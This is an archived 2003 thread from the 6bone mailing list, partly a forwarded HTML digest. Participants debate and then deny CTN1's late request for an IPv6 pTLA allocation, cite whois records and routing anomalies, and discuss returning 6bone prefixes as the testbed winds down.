request by CTN1 - review closes 16 December 2003 &gt;Organization: Miracle1 Systems &gt; &gt;On Wed, 17 Dec 2003 20:47:20 +0100 &gt;Nicolas DEFFAYET <NICOLAS.DEFFAYET@NDSOFTWARE.NET>wrote: [Message-ID: 1071690440.26093.153.camel@w1-aub.fr.corp.ndsoftware.com] &gt; &gt;ND&gt; On Tue, 2003-12-02 at 19:32, Bob Fink wrote: &gt;ND&gt; 6bone Folk, &gt;ND&gt; &gt;ND&gt; &gt; CTN1 has requested a pTLA allocation and I find their request fully &gt;ND&gt; &gt; compliant with RFC2772. The open review period for this closes 16 December &gt;ND&gt; &gt; 2003. Please send your comments to me or the list. &gt;ND&gt; &gt; &gt;ND&gt; &gt; <HTTP: www.ctn1.com>&gt;ND&gt; &gt; &gt;ND&gt; &gt; This may be the last 6bone pTLA allocation made as the phaseout plan &gt;ND&gt; &gt; specifies no new pTLA allocations after the end of this year. Thus if &gt;ND&gt; &gt; anyone is expecting to request a pTLA, the request must be sent to me no &gt;ND&gt; &gt; later than 5 December to allow enough review and approval time prior to 31 &gt;ND&gt; &gt; December. &gt;ND&gt; &gt;ND&gt; The community must be open about this request. &gt; &gt;I believe the community has been very open with this request. &gt; &gt;ND&gt; &gt;ND&gt; This is the last pTLA request, I think that we can allocate this pTLA. &gt;ND&gt; Closing the pTLA allocation period with a request denied don't promote &gt;ND&gt; IPv6 usage and is not good for the community. CTN1 want promote the &gt;ND&gt; IPv6, i'm agree they are very just with the time, but with deny of this &gt;ND&gt; request they can't promote IPv6 usage and they can't offer free and high &gt;ND&gt; quality IPv6 services to their customers. &gt;ND&gt; &gt; &gt;I believe upholding the policies on which the 6BONE was founded for making any decisions related &gt;to this manner is exactly what we should expect, and exactly what we got. Might I ask why you say &gt;they could offer 'high quality' IPv6 services with only one IPv6 transit uplink? &gt; &gt;ND&gt; Open your eyes, not all pTLA request respect fully RFC2772. &gt;ND
&gt; There is a problem with this request, because some people want troll &gt;ND&gt; about it. &gt; &gt;If pTLA requests don't conform to RFC2772 they should not be allocated a pTLA. &gt; &gt;ND&gt; &gt;ND&gt; I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help &gt;ND&gt; CTN1 in its IPv6 deploiement. &gt;ND&gt; &gt; &gt;If CTN1 is truly a partner of NDSOFTWARE why are you not allocating them address space. &gt;ND was allocated a /32 for this purpose, were they not? &gt; &gt;ND&gt; Please note that for get a sTLA from RIPE, the requester must be a LIR, &gt;ND&gt; (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer &gt;ND&gt; free IPv6 services with a minimum of quality and independance.... &gt;ND&gt; &gt;ND&gt; Thanks for have read my mail, i wait your comments. &gt;ND&gt; &gt;ND&gt; Best Regards, &gt;ND&gt; &gt;ND&gt; -- &gt;ND&gt; Nicolas DEFFAYET, NDSoftware &gt;ND&gt; NDSoftware IP Network: http://www.ip.ndsoftware.net/ &gt;ND&gt; FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/ &gt;ND&gt; EuroNOG: http://www.euronog.org/ &gt;ND&gt; &gt;ND&gt; _______________________________________________ &gt;ND&gt; 6bone mailing list &gt;ND&gt; 6bone@mailman.isi.edu &gt;ND&gt; http://mailman.isi.edu/mailman/listinfo/6bone &gt; &gt;Thanks, &gt;J. Miracle &gt; &gt;--__--__-- &gt; &gt;Message: 2 &gt;Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003 &gt;From: Nicolas DEFFAYET <NICOLAS.DEFFAYET@NDSOFTWARE.NET>&gt;To: "J. Miracle" <MATRIX@MIRACLE1.NET>&gt;Cc: 6bone@mailman.isi.edu &gt;Organization: NDSoftware &gt;Date: Wed, 17 Dec 2003 22:17:19 +0100 &gt; &gt;On Wed, 2003-12-17 at 21:46, J. Miracle wrote: &gt; &gt; On Wed, 17 Dec 2003 20:47:20 +0100 &gt; &gt; Nicolas DEFFAYET <NICOLAS.DEFFAYET@NDSOFTWARE.NET>wrote: &gt; &gt; ND&gt; &gt; &gt; ND&gt; This is the last pTLA request, I think that we can allocate this pTLA. &gt; &gt; ND&gt; Closing the pTLA allocation period with a request denied don't promote &gt; &gt; ND&gt; IPv6 usage and is not g
ood for the community. CTN1 want promote the &gt; &gt; ND&gt; IPv6, i'm agree they are very just with the time, but with deny of this &gt; &gt; ND&gt; request they can't promote IPv6 usage and they can't offer free and high &gt; &gt; ND&gt; quality IPv6 services to their customers. &gt; &gt; ND&gt; &gt; &gt; &gt; &gt; I believe upholding the policies on which the 6BONE was founded for making any decisions related &gt; &gt; to this manner is exactly what we should expect, and exactly what we got. Might I ask why you say &gt; &gt; they could offer 'high quality' IPv6 services with only one IPv6 transit uplink? &gt; &gt;They will have a second IPv6 transit uplink when they have a pTLA. The &gt;second transit provider don't want open BGP session without pTLA/sTLA. &gt; &gt; &gt; ND&gt; Open your eyes, not all pTLA request respect fully RFC2772. &gt; &gt; ND&gt; There is a problem with this request, because some people want troll &gt; &gt; ND&gt; about it. &gt; &gt; &gt; &gt; If pTLA requests don't conform to RFC2772 they should not be allocated a pTLA. &gt; &gt;Please read the archive before ! &gt;When you have pTLA allocated with unassigned ASN, only one contact &gt;person,... Are this pTLA conform to RFC2772 ? Why they have been &gt;allocated ? &gt; &gt; &gt; ND&gt; &gt; &gt; ND&gt; I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help &gt; &gt; ND&gt; CTN1 in its IPv6 deploiement. &gt; &gt; ND&gt; &gt; &gt; &gt; &gt; If CTN1 is truly a partner of NDSOFTWARE why are you not allocating them address space. &gt; &gt; ND was allocated a /32 for this purpose, were they not? &gt; &gt;It's not a problem of address space size, when you request a pTLA it's &gt;for be independent and present in worldwide routing table. &gt; &gt;A lot of pTLA allocated have never make end-user assignement... &gt;Why a pTLA request for make end-user assignement must be denied because &gt;the requester can use the upstream address space ? &gt; &gt;-- &gt;Nicolas DEFFAYET, NDSoftware &gt;NDSoftware IP Network: http://www.ip.ndso
ftware.net/ &gt;FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/ &gt;EuroNOG: http://www.euronog.org/ &gt; &gt; &gt;--__--__-- &gt; &gt;Message: 3 &gt;Date: Wed, 17 Dec 2003 22:26:57 +0100 &gt;From: Gert Doering <GERT@SPACE.NET>&gt;To: Nicolas DEFFAYET <NICOLAS.DEFFAYET@NDSOFTWARE.NET>&gt;Cc: Bob Fink <BOB@THEFINKS.COM>, 6BONE List &lt;6bone@mailman.isi.edu&gt;, &gt; Marc GOMEZ <MG@CTN1.COM>&gt;Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003 &gt; &gt;Hi, &gt; &gt;On Wed, Dec 17, 2003 at 08:47:20PM +0100, Nicolas DEFFAYET wrote: &gt; &gt; The community must be open about this request. &gt; &gt; &gt; &gt; This is the last pTLA request, I think that we can allocate this pTLA. &gt; &gt; Closing the pTLA allocation period with a request denied don't promote &gt; &gt; IPv6 usage &gt; &gt;It won't promote *6bone* usage, and we don't *want* to promote 6bone. &gt; &gt;6bone is dead, face it. A number of the bigger european NRENs do not even &gt;route 3FFE space anymore. &gt; &gt;[..] &gt; &gt; Open your eyes, not all pTLA request respect fully RFC2772. &gt; &gt; There is a problem with this request, because some people want troll &gt; &gt; about it. &gt; &gt;Nothing in CTN1's setup fulfill's proper technical standards for an &gt;IPv6 pTLA holder. &gt; &gt;[..] &gt; &gt; Please note that for get a sTLA from RIPE, the requester must be a LIR, &gt; &gt; (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer &gt; &gt; free IPv6 services with a minimum of quality and independance.... &gt; &gt;Just take upstream space then. CTN1 could use some from NDSOFTWARE, &gt;for example. &gt; &gt;(Just to drive home the point: 6bone space will *not* provide quality &gt;IPv6 services, as *people do not route it*) &gt; &gt;Gert Doering &gt; -- NetMaster &gt;-- &gt;Total number of prefixes smaller than registry allocations: 57386 (57785) &gt; &gt;SpaceNet AG Mail: netmaster@Space.Net &gt;Joseph-Dollinger-Bogen 14 Tel : +49-89-32356-0 &gt;80807 Muenchen Fax : +49-89-32356-299 
&gt; &gt; &gt;--__--__-- &gt; &gt;Message: 4 &gt;Date: Wed, 17 Dec 2003 22:48:23 +0100 &gt;From: Pim van Pelt <PIM@IPNG.NL>&gt;To: Bob Fink <BOB@THEFINKS.COM>&gt;Cc: 6BONE List &lt;6bone@mailman.isi.edu&gt;, Marc GOMEZ <MG@CTN1.COM>&gt;Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003 &gt; &gt;Hi, &gt; &gt;| CTN1 has requested a pTLA allocation and I find their request fully &gt;| compliant with RFC2772. The open review period for this closes 16 December &gt;| 2003. Please send your comments to me or the list. &gt;Even though I've had my say already, I would like to repeat myself. &gt; &gt;There were some serious holes in the application as pointed out previously &gt;by some folk. After this, there were no clear signs that the situation &gt;improved and I find it very strange that a third party is answering &gt;questions regarding the pTLA request and not the requestor. As a matter of &gt;fact, the whole thread was CC:ed to Mr. Gomez and he did not answer a single &gt;question. &gt; &gt;It is my honest opinion (and I have been fair in the past) that this &gt;company is not ready to be granted custody of a pTLA. &gt; &gt;With regards to this being the last one: it should not be an issue that &gt;the last request was denied. People who state differently are not thinking &gt;straight. &gt; &gt;groet, &gt;Pim &gt; &gt;-- &gt;---------- - - - - -+- - - - - ---------- &gt;Pim van Pelt Email: pim@ipng.nl &gt;http://www.ipng.nl/ IPv6 Deployment &gt;----------------------------------------------- &gt; &gt;--__--__-- &gt; &gt;Message: 5 &gt;From: "Christian Nickel" <DRAGON@TDOI.ORG>&gt;To: "Nicolas DEFFAYET" <NICOLAS.DEFFAYET@NDSOFTWARE.NET>, &gt; "Bob Fink" <BOB@THEFINKS.COM>&gt;Cc: "6BONE List" &lt;6bone@mailman.isi.edu&gt;, "Marc GOMEZ" <MG@CTN1.COM>&gt;Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003 &gt;Date: Wed, 17 Dec 2003 22:54:16 +0100 &gt; &gt;From: "Nicolas DEFFAYET" <NICOLAS.DEFFAYET@NDSOFTWARE.NET>&gt;Sent: Wednesday, December 17, 2003 8:47 PM &gt;Subject: R
e: [6bone] pTLA request by CTN1 - review closes 16 December 2003 &gt; &gt; &gt; &gt; On Tue, 2003-12-02 at 19:32, Bob Fink wrote: &gt; &gt; 6bone Folk, &gt; &gt; &gt; &gt; &gt; CTN1 has requested a pTLA allocation and I find their request fully &gt; &gt; &gt; compliant with RFC2772. The open review period for this closes 16 &gt;December &gt; &gt; &gt; 2003. Please send your comments to me or the list. &gt; &gt; &gt; &gt; &gt; &gt; <HTTP: www.ctn1.com>&gt; &gt; &gt; &gt; &gt; &gt; This may be the last 6bone pTLA allocation made as the phaseout plan &gt; &gt; &gt; specifies no new pTLA allocations after the end of this year. Thus if &gt; &gt; &gt; anyone is expecting to request a pTLA, the request must be sent to me no &gt; &gt; &gt; later than 5 December to allow enough review and approval time prior to &gt;31 &gt; &gt; &gt; December. &gt; &gt; &gt; &gt; The community must be open about this request. &gt; &gt; &gt; &gt; This is the last pTLA request, I think that we can allocate this pTLA. &gt; &gt; Closing the pTLA allocation period with a request denied don't promote &gt; &gt; IPv6 usage and is not good for the community. CTN1 want promote the &gt; &gt; IPv6, i'm agree they are very just with the time, but with deny of this &gt; &gt; request they can't promote IPv6 usage and they can't offer free and high &gt; &gt; quality IPv6 services to their customers. &gt; &gt; &gt; &gt; Open your eyes, not all pTLA request respect fully RFC2772. &gt; &gt; There is a problem with this request, because some people want troll &gt; &gt; about it. &gt; &gt; &gt; &gt; I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help &gt; &gt; CTN1 in its IPv6 deploiement. &gt; &gt; &gt; &gt; Please note that for get a sTLA from RIPE, the requester must be a LIR, &gt; &gt; (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer &gt; &gt; free IPv6 services with a minimum of quality and independance.... &gt; &gt; &gt; &gt; Thanks for have read my mail, i wait your comments. &gt; &gt; &gt; &gt;I do _not_ agree
 to the pTLA request until CTN1 let us know a bit more about &gt;what their plans are. &gt; &gt;e.g., IF they DO have plans to operate a large scaled IPv6 Network, WHY is &gt;it &gt;impossible to become a LIR and get REAL IPv6 address space. &gt;"I have put 1.000.000 EUR. I respect your job respect my company!!!" &gt;So, there shouldn't be a fincancial problem in this case. &gt; &gt;As Gert said, 6bone is (nearly) dead, and is not a place to provide &gt;commercial &gt;services to customers. So, which research projects does CTN1 support and/or &gt;provide? &gt; &gt;I think we've read enough chitchat by Mr. NDSOFTWARE, and I'm awaiting &gt;eagerly &gt;a statement by CTN1. &gt; &gt; &gt;Greets, &gt;Christian Nickel &gt; &gt;------------------------------------------ &gt;TDOI Network | www.tdoi.org | noc@tdoi.org &gt; &gt; &gt;--__--__-- &gt; &gt;Message: 6 &gt;Date: Wed, 17 Dec 2003 13:51:44 -0800 &gt;To: 6BONE List &lt;6bone@mailman.isi.edu&gt; &gt;From: Bob Fink <BOB@THEFINKS.COM>&gt;Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December &gt; 2003 &gt; &gt;6bone Folk, &gt; &gt;I have denied the CTN1 pTLA request as of today. I do wish Marc Gomez and &gt;CTN1 well in providing IPv6 transport to the customers of CTN1, and do hope &gt;Marc will pursue a production prefix from RIPE. &gt; &gt;I did not deny this request lightly, and did ask various follow up &gt;questions. I remained concerned about the inability to even reach the CTN1 &gt;web site or find a AAAA record in its DNS until today (or at least &gt;intermittently so). In my opinion it is unlikely that CTN1 really provided &gt;all the required services for the full 3 month period required. If we &gt;weren't at the end of 6bone prefix allocation, I would have encouraged Marc &gt;to wait a little longer until he clearly established operational experience &gt;in IPv6 for CTN1 sufficient to qualify for a pTLA. Alas, we are out of time &gt;and no more 6bone pTLA prefixes will be allocated. &gt; &gt;Regardless of the cost to acquire production prefi
xes from the RIRs, &gt;clearly it isn't all that hard as there are almost 500 prefixes allocated &gt;now, more than half (274) of which come from RIPE. Compare this to the &gt;current 123 6bone pTLA prefixes allocated and it is clear that the time for &gt;an early experimental method to distribute IPv6 addresses is past. &gt; &gt;I want to thank everyone who has participated in this pTLA review, on both &gt;sides, for your comments. &gt; &gt; &gt;Thanks, &gt; &gt;Bob Fink &gt; &gt; &gt;--__--__-- &gt; &gt;Message: 7 &gt;From: "Jeroen Massar" <JEROEN@UNFIX.ORG>&gt;To: "'Nicolas DEFFAYET'" <NICOLAS.DEFFAYET@NDSOFTWARE.NET>&gt;Cc: &lt;6bone@mailman.isi.edu&gt; &gt;Subject: Cleansing 6bone (Was: [6bone] pTLA request by CTN1 - review closes 16 December 2003) &gt;Date: Wed, 17 Dec 2003 23:43:05 +0100 &gt;Organization: Unfix &gt; &gt;-----BEGIN PGP SIGNED MESSAGE----- &gt; &gt;[Real problems, private ASN's etc, at the about 50% of the mail] &gt; &gt;Nicolas DEFFAYET wrote: &gt; &gt; &gt; &gt; ND&gt; Open your eyes, not all pTLA request respect fully RFC2772. &gt; &gt; &gt; ND&gt; There is a problem with this request, because some people want troll &gt; &gt; &gt; ND&gt; about it. &gt; &gt; &gt; &gt; &gt; &gt; If pTLA requests don't conform to RFC2772 they should not &gt; &gt; &gt; be allocated a pTLA. &gt; &gt; &gt; &gt; Please read the archive before ! &gt; &gt; When you have pTLA allocated with unassigned ASN, only one contact &gt; &gt; person,... Are this pTLA conform to RFC2772 ? Why they have been &gt; &gt; allocated ? &gt; &gt;I totally agree with you Nico, 6bone should be reclaiming space &gt;that is not actively maintained any more. &gt; &gt;We will start by pointing out one of the newer prefixes, yours: &gt; &gt;$ whois -h whois.6bone.net 3FFE:4013::/32 &gt; &gt;netname: FR-NDSOFTWARE-20021110 &gt;descr: NDSoftware IP Network &gt;country: FR &gt;admin-c: NN175-RIPE &gt;tech-c: NN175-RIPE &gt;rev-srv: ns1.ndsoftware.net &gt;rev-srv: ns2.ndsoftware.net &gt;rev-srv: ns3.ndsoftware.net &gt;notify: noc@ndsoftware.ne
t &gt;mnt-by: MNT-NDSOFTWARE &gt;changed: nicolas.deffayet@ndsoftware.net 20021110 &gt;changed: nicolas.deffayet@ndsoftware.net 20031206 &gt;source: 6BONE &gt; &gt;Let me see, 1 contact person, not even a 6bone handle, &gt;but that is allowed and it's probably cooler to register &gt;6bone objects in the wrong registry. &gt; &gt;Could your staff (or you yourself) fix this as per &gt;RFC2772, which you just commented about? Aka you might &gt;want to add 2 more contacts, who are not you. &gt; &gt;Don't complain about other TLA's when you cannot even &gt;fix maintain own or that of your company. &gt; &gt;Ofcourse you are completely correct, this should be &gt;fixed as soon as possible. &gt; &gt;Fortunatly for the owners of these prefixes there hasn't &gt;been a real witch hunt for these problems and I suspect &gt;there never will be. 6bone is testspace and problems are &gt;allowed to happen. Ofcourse they should be fixed asap and &gt;the only way of doing that is contacting the relevant. &gt; &gt;I would like to point people out to <SHAMELESS selfplug>: &gt;http://www.sixxs.net/tools/grh/ &gt; &gt;Current problems, which really should not be there: &gt; &gt;2001:d10::/32 AS64600 is reserved &gt;2001:d30::/32 Multiple Origin ASN's (2500,4717) &gt;2002:c2b1:d06e::/48 More specific 6to4 prefix (194.177.208.110/32) from AS5408 &gt;2002:c8a2::/33 More specific 6to4 prefix (200.162.0.0/17) from AS15180 &gt;2002:c8c6:4000::/34 More specific 6to4 prefix (200.198.64.0/18) from AS15180 &gt;2002:c8ca:7000::/36 More specific 6to4 prefix (200.202.112.0/20) from AS15180 &gt;3ffe:1300::/24 Mismatching origin ASN, should be 762 (now: 10318) &gt;3ffe:2200::/24 Ghost Route (18/12) &gt;3ffe:3500::/24 AS64600 and AS64702 are reserved &gt;3ffe:8030::/28 Ghost Route (20/12) &gt; &gt;6bone does affect RIPE space as you can see from the above list. &gt; &gt;btw AS10318, if *anybody* has a contact there, please ask them to &gt;respond to the list or privatly. Any peers still peering with them &gt;please consider to depeer as they have been 
unreachable for over &gt;a year now. &gt; &gt;<SNIP> &gt; &gt; &gt; A lot of pTLA allocated have never make end-user assignement... &gt; &gt;There is no requirement for making end-user assignments. &gt;6bone is a *test* bed, not a production environment. &gt;Though one of the methods for testing could be to test making &gt;end-user assignments and giving them access to the 6bone so &gt;that they can test how IPv6 works, thus making you test out &gt;whether your routing infrastructure works. That is the main &gt;goal for the 6bone: testing. Ofcourse it is needless to say &gt;that prefixes don't even have to be announced for this reason. &gt; &gt;Checking: http://www.sixxs.net/tools/grh/tla/6bone/ &gt;8&lt;--------------------------------------------------------- &gt;The database currently holds 144 IPv6 TLA's. &gt;Of which 16 (11.11%) are returned to the pool, 16 (11.11%) &gt;IPv6 TLA's didn't have a routing entry. &gt;Thus 112 (77.78%) networks are currently announced. &gt;- ---------------------------------------------------------&gt;8 &gt; &gt;Unfortunatly we don't have data from way back when most of &gt;these where allocated, but this does show that some are &gt;not reachable. &gt; &gt; &gt; Why a pTLA request for make end-user assignement must be &gt; &gt; denied because the requester can use the upstream address space ? &gt; &gt;Indeed, quite strange that you need another pTLA then: &gt; &gt;$ whois -M 3ffe:4013::/32 |grep inet6num &gt; &gt;inet6num: 3FFE:4013:2207::/48 &gt;inet6num: 3FFE:4013:2105::/48 &gt;inet6num: 3FFE:4013:2300::/40 &gt;inet6num: 3FFE:4013:1000::/36 &gt;inet6num: 3FFE:4013:2104::/48 &gt; &gt;3 /48's a /40 for 'personal' use and a /36 for some other 'project'. &gt;You could btw with ease delegate some more space to CTN1, they &gt;have the same upstream and then they can test their commercial &gt;million euro webhosting. If you try to make your point then &gt;you really should have gotten your own act together first. &gt; &gt;Greets, &gt; Jeroen &gt; &gt;-----BEGIN PGP SIGNATURE----- &gt
;Version: Unfix PGP for Outlook Alpha 13 Int. &gt;Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/ &gt; &gt;iQA/AwUBP+Db7CmqKFIzPnwjEQI9EgCgva+RyN0Ha1KmEmq9APzMq8ei8aYAnjBQ &gt;sU6ObEhLDJlL3UDvDQxlS5Fx &gt;=/QjC &gt;-----END PGP SIGNATURE----- &gt; &gt; &gt;--__--__-- &gt; &gt;Message: 8 &gt;Date: Wed, 17 Dec 2003 13:25:28 -1000 (HST) &gt;From: Antonio Querubin <TONY@LAVA.NET>&gt;To: Jun-ichiro itojun Hagino <ITOJUN@ITOJUN.ORG>&gt;Cc: mamthabc@yahoo.co.in, 6bone@mailman.isi.edu &gt;Subject: Re: [6bone] doubt about protocol independent Ping. &gt; &gt;On Mon, 15 Dec 2003, Jun-ichiro itojun Hagino wrote: &gt; &gt; &gt; Stevens' book (TCP/IP network programming) has very old description of &gt; &gt; protocol independent programming, so do not refer it. rather, please &gt; &gt; refer the following: &gt; &gt; http://www.kame.net/newsletter/19980604/ &gt; &gt; http://www.usenix.org/publications/library/proceedings/usenix2000/freenix/metzprotocol/ &gt; &gt;Steven's book has many detailed examples of coding in a protocol &gt;independent manner that continue to be applicable even today. The API &gt;hasn't changed that much in 5 years to make it the book so obsolete that &gt;it should no longer be referred to. While the above 2 articles talk about &gt;protocol independent issues, they're a bit sparse for reference use by &gt;someone learning a new API. &gt; &gt;--__--__-- &gt; &gt;Message: 9 &gt;From: "Dan Reeder" <DAN@REEDER.NAME>&gt;To: "Nicolas DEFFAYET" <NICOLAS.DEFFAYET@NDSOFTWARE.NET>&gt;Cc: &lt;6bone@mailman.isi.edu&gt; &gt;Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003 &gt;Date: Thu, 18 Dec 2003 09:35:19 +1000 &gt; &gt; &gt; Please read the archive before ! &gt; &gt; When you have pTLA allocated with unassigned ASN, only one contact &gt; &gt; person,... Are this pTLA conform to RFC2772 ? Why they have been &gt; &gt; allocated ? &gt; &gt;Nicholas, you can't seem to get beyond the fact that just because something &gt;bad happened in the past that doesn't mean it should
 continue to happen. &gt;Just beacuse banks have been robbed in the past doesnt mean you should feel &gt;free to walk in and demand what you want today. &gt; &gt;The point is that those allocations were mistakes and shouldn't have been &gt;granted approval in the first place. Just like CTN1. &gt; &gt;Besides, as has been pointed out the 6bone is on its last legs. If CTN1 is &gt;such a well funded company (i'd love to have 1 million euros at my disposal) &gt;then I'm sure RIPE would be all ears. And if thats still not feasible, what &gt;is stopping NDSoftware from giving a /35 to them? You are partners, right? &gt; &gt;Dan Reeder &gt; &gt; &gt; &gt;--__--__-- &gt; &gt;Message: 10 &gt;Date: Wed, 17 Dec 2003 13:37:42 -1000 (HST) &gt;From: Antonio Querubin <TONY@LAVA.NET>&gt;To: Bob Fink <BOB@THEFINKS.COM>&gt;Cc: 6BONE List &lt;6bone@mailman.isi.edu&gt; &gt;Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003 &gt; &gt;On Wed, 17 Dec 2003, Bob Fink wrote: &gt; &gt; &gt; I want to thank everyone who has participated in this pTLA review, on both &gt; &gt; sides, for your comments. &gt; &gt;Thank YOU for all your time and effort in coordinating this aspect of the &gt;6bone project through the years :) &gt; &gt; &gt;--__--__-- &gt; &gt;Message: 11 &gt;Date: Thu, 18 Dec 2003 11:26:28 +0000 &gt;From: Tim Chown <TJC@ECS.SOTON.AC.UK>&gt;To: 6BONE List &lt;6bone@mailman.isi.edu&gt; &gt;Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003 &gt; &gt;On reflection I think this request should be denied, because it does not &gt;meet the requirements, as highlighted by others on this list. I thus &gt;remove my previous support for the request. &gt; &gt;Tim &gt; &gt;On Wed, Dec 17, 2003 at 08:47:20PM +0100, Nicolas DEFFAYET wrote: &gt; &gt; On Tue, 2003-12-02 at 19:32, Bob Fink wrote: &gt; &gt; 6bone Folk, &gt; &gt; &gt; &gt; &gt; CTN1 has requested a pTLA allocation and I find their request fully &gt; &gt; &gt; compliant with RFC2772. The open review period for this closes 16 December &gt;
 &gt; &gt; 2003. Please send your comments to me or the list. &gt; &gt; &gt; &gt; &gt; &gt; <HTTP: www.ctn1.com>&gt; &gt; &gt; &gt; &gt; &gt; This may be the last 6bone pTLA allocation made as the phaseout plan &gt; &gt; &gt; specifies no new pTLA allocations after the end of this year. Thus if &gt; &gt; &gt; anyone is expecting to request a pTLA, the request must be sent to me no &gt; &gt; &gt; later than 5 December to allow enough review and approval time prior to 31 &gt; &gt; &gt; December. &gt; &gt; &gt; &gt; The community must be open about this request. &gt; &gt; &gt; &gt; This is the last pTLA request, I think that we can allocate this pTLA. &gt; &gt; Closing the pTLA allocation period with a request denied don't promote &gt; &gt; IPv6 usage and is not good for the community. CTN1 want promote the &gt; &gt; IPv6, i'm agree they are very just with the time, but with deny of this &gt; &gt; request they can't promote IPv6 usage and they can't offer free and high &gt; &gt; quality IPv6 services to their customers. &gt; &gt; &gt; &gt; Open your eyes, not all pTLA request respect fully RFC2772. &gt; &gt; There is a problem with this request, because some people want troll &gt; &gt; about it. &gt; &gt; &gt; &gt; I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help &gt; &gt; CTN1 in its IPv6 deploiement. &gt; &gt; &gt; &gt; Please note that for get a sTLA from RIPE, the requester must be a LIR, &gt; &gt; (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer &gt; &gt; free IPv6 services with a minimum of quality and independance.... &gt; &gt; &gt; &gt; Thanks for have read my mail, i wait your comments. &gt; &gt; &gt; &gt; Best Regards, &gt; &gt; &gt; &gt; -- &gt; &gt; Nicolas DEFFAYET, NDSoftware &gt; &gt; NDSoftware IP Network: http://www.ip.ndsoftware.net/ &gt; &gt; FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/ &gt; &gt; EuroNOG: http://www.euronog.org/ &gt; &gt; &gt; &gt; _______________________________________________ &gt; &gt; 6bone mailing list &gt
; &gt; 6bone@mailman.isi.edu &gt; &gt; http://mailman.isi.edu/mailman/listinfo/6bone &gt; &gt;--__--__-- &gt; &gt;Message: 12 &gt;Date: Thu, 18 Dec 2003 11:57:53 +0000 &gt;From: Tim Chown <TJC@ECS.SOTON.AC.UK>&gt;To: 6BONE List &lt;6bone@mailman.isi.edu&gt; &gt;Subject: Re: [6bone] winding down and returns? &gt; &gt;Thanks Bob. &gt; &gt;The next step is then to wind down the 6bone allocations, and perhaps &gt;encourage formal returns? It may be that 50% of current holders are &gt;inactive due to commercial allocations, but have not bothered to "hand in" &gt;pTLAs as there's isn't a process as such. &gt; &gt;Some networks already don't accept 6bone prefixes. So their usefulness &gt;is already becoming more limited. &gt; &gt;Tim &gt; &gt;On Wed, Dec 17, 2003 at 01:51:44PM -0800, Bob Fink wrote: &gt; &gt; 6bone Folk, &gt; &gt; &gt; &gt; I have denied the CTN1 pTLA request as of today. I do wish Marc Gomez and &gt; &gt; CTN1 well in providing IPv6 transport to the customers of CTN1, and do hope &gt; &gt; Marc will pursue a production prefix from RIPE. &gt; &gt; &gt; &gt; I did not deny this request lightly, and did ask various follow up &gt; &gt; questions. I remained concerned about the inability to even reach the CTN1 &gt; &gt; web site or find a AAAA record in its DNS until today (or at least &gt; &gt; intermittently so). In my opinion it is unlikely that CTN1 really provided &gt; &gt; all the required services for the full 3 month period required. If we &gt; &gt; weren't at the end of 6bone prefix allocation, I would have encouraged Marc &gt; &gt; to wait a little longer until he clearly established operational experience &gt; &gt; in IPv6 for CTN1 sufficient to qualify for a pTLA. Alas, we are out of time &gt; &gt; and no more 6bone pTLA prefixes will be allocated. &gt; &gt; &gt; &gt; Regardless of the cost to acquire production prefixes from the RIRs, &gt; &gt; clearly it isn't all that hard as there are almost 500 prefixes allocated &gt; &gt; now, more than half (274) of which come from RIPE. Compare this to 
the &gt; &gt; current 123 6bone pTLA prefixes allocated and it is clear that the time for &gt; &gt; an early experimental method to distribute IPv6 addresses is past. &gt; &gt; &gt; &gt; I want to thank everyone who has participated in this pTLA review, on both &gt; &gt; sides, for your comments. &gt; &gt; &gt; &gt; &gt; &gt; Thanks, &gt; &gt; &gt; &gt; Bob Fink &gt; &gt; &gt; &gt; _______________________________________________ &gt; &gt; 6bone mailing list &gt; &gt; 6bone@mailman.isi.edu &gt; &gt; http://mailman.isi.edu/mailman/listinfo/6bone &gt; &gt; &gt;--__--__-- &gt; &gt;_______________________________________________ &gt;6bone mailing list &gt;6bone@mailman.isi.edu &gt;http://mailman.isi.edu/mailman/listinfo/6bone &gt; &gt; &gt;End of 6bone Digest </div><br clear=all><hr>Tired of spam? Get <a href="http://g.msn.com/8HMAEN/2734??PS=">advanced junk mail protection</a> with MSN 8.</html>

From pim@ipng.nl Thu Dec 18 11:13:17 2003
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From: Pim van Pelt <pim@ipng.nl>
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Hi,

Please refrain from sending HTML mail to this mailinglist. Many people
cannot read that type of message.

As for the Pentagon saying 2008; Not the whole world follows American
standards -- The far east and Europe are far ahead of the Americas when
it comes to IPv6 deployment. 

Europe is kind of getting there. I've seen native BGP come to Holland
for example, and now many respectable companies are treating IPv6 as a
part of their network.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From tony@lava.net Thu Dec 18 14:08:16 2003
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From: Antonio Querubin <tony@lava.net>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] winding down and returns?
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On Thu, 18 Dec 2003, Jeroen Massar wrote:

> Afaik, the process is quite simple:
>  - stop announcing the prefix into BGP
>  - remove prefixes (inet6num, ipv6-site etc) from the 6bone registry

Are there any other alternate registries for tracking BGP peering/tunnels
between IPv6 networks?  We use the RADB for IPv4 prefixes but it has no
provision for handling IPv6 route objects as far as I can tell.  I think
the 6bone registry still serves a useful purpose in this area for those of
us peering with ASNs still using 6bone prefixes.

>  - notify this (6bone@mailman.isi.edu) list that your organisation
>    is returning the prefix and not using it any more.

Ok, we're officially returning 3ffe:8160::/28.  There are still some BGP
links using a few addresses out there but they'll be renumbered soon.

